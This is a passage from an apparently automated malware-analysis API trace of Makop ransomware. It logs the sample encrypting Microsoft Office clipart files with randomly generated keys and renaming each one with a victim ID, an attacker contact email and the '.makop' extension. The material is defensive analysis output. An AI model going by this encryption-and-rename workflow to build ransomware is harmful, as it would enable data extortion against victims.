nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.565] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.565] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.566] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43b0, lpOverlapped=0x0) returned 1 [0151.568] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43b0, dwBufLen=0x43b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43b0) returned 1 [0151.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x43b0, lpOverlapped=0x0) returned 1 [0151.568] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.568] SetEndOfFile (hFile=0xf0) returned 1 [0151.575] GetProcessHeap () returned 0x48a0000 [0151.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.576] GetProcessHeap () returned 0x48a0000 [0151.576] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.576] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.578] CloseHandle (hObject=0xf0) returned 1 [0151.578] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0151.578] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF") returned 63 [0151.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.579] GetProcessHeap () returned 0x48a0000 [0151.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.579] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.580] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.584] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.584] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.584] GetProcessHeap () returned 0x48a0000 [0151.584] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.584] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.584] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.584] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.584] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.585] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.585] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.585] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.585] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.585] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.586] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59d8, lpOverlapped=0x0) returned 1 [0151.588] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59e0, dwBufLen=0x59e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59e0) returned 1 [0151.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x59e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x59e0, lpOverlapped=0x0) returned 1 [0151.588] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.589] SetEndOfFile (hFile=0xf0) returned 1 [0151.595] GetProcessHeap () returned 0x48a0000 [0151.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.596] GetProcessHeap () returned 0x48a0000 [0151.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.596] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.598] CloseHandle (hObject=0xf0) returned 1 [0151.598] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0151.598] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF") returned 63 [0151.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.600] GetProcessHeap () returned 0x48a0000 [0151.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.600] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0151.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.604] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.605] GetProcessHeap () returned 0x48a0000 [0151.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.605] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.605] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.606] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.606] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.606] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x75ca, lpOverlapped=0x0) returned 1 [0151.608] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x75d0, dwBufLen=0x75d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x75d0) returned 1 [0151.608] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.608] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x75d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x75d0, lpOverlapped=0x0) returned 1 [0151.609] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x76a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.609] SetEndOfFile (hFile=0xf0) returned 1 [0151.641] GetProcessHeap () returned 0x48a0000 [0151.641] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.641] GetProcessHeap () returned 0x48a0000 [0151.642] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.642] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.644] CloseHandle (hObject=0xf0) returned 1 [0151.644] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0151.644] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF") returned 63 [0151.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.647] GetProcessHeap () returned 0x48a0000 [0151.647] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.647] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.647] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.647] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.651] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.651] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.651] GetProcessHeap () returned 0x48a0000 [0151.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.652] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.652] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.652] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.652] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.652] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.653] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.653] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.653] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.653] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x51a8, lpOverlapped=0x0) returned 1 [0151.655] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51b0) returned 1 [0151.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x51b0, lpOverlapped=0x0) returned 1 [0151.655] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.656] SetEndOfFile (hFile=0xf0) returned 1 [0151.663] GetProcessHeap () returned 0x48a0000 [0151.663] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.663] GetProcessHeap () returned 0x48a0000 [0151.663] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.663] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.665] CloseHandle (hObject=0xf0) returned 1 [0151.666] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0151.666] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF") returned 63 [0151.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.667] GetProcessHeap () returned 0x48a0000 [0151.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.667] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.668] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.668] 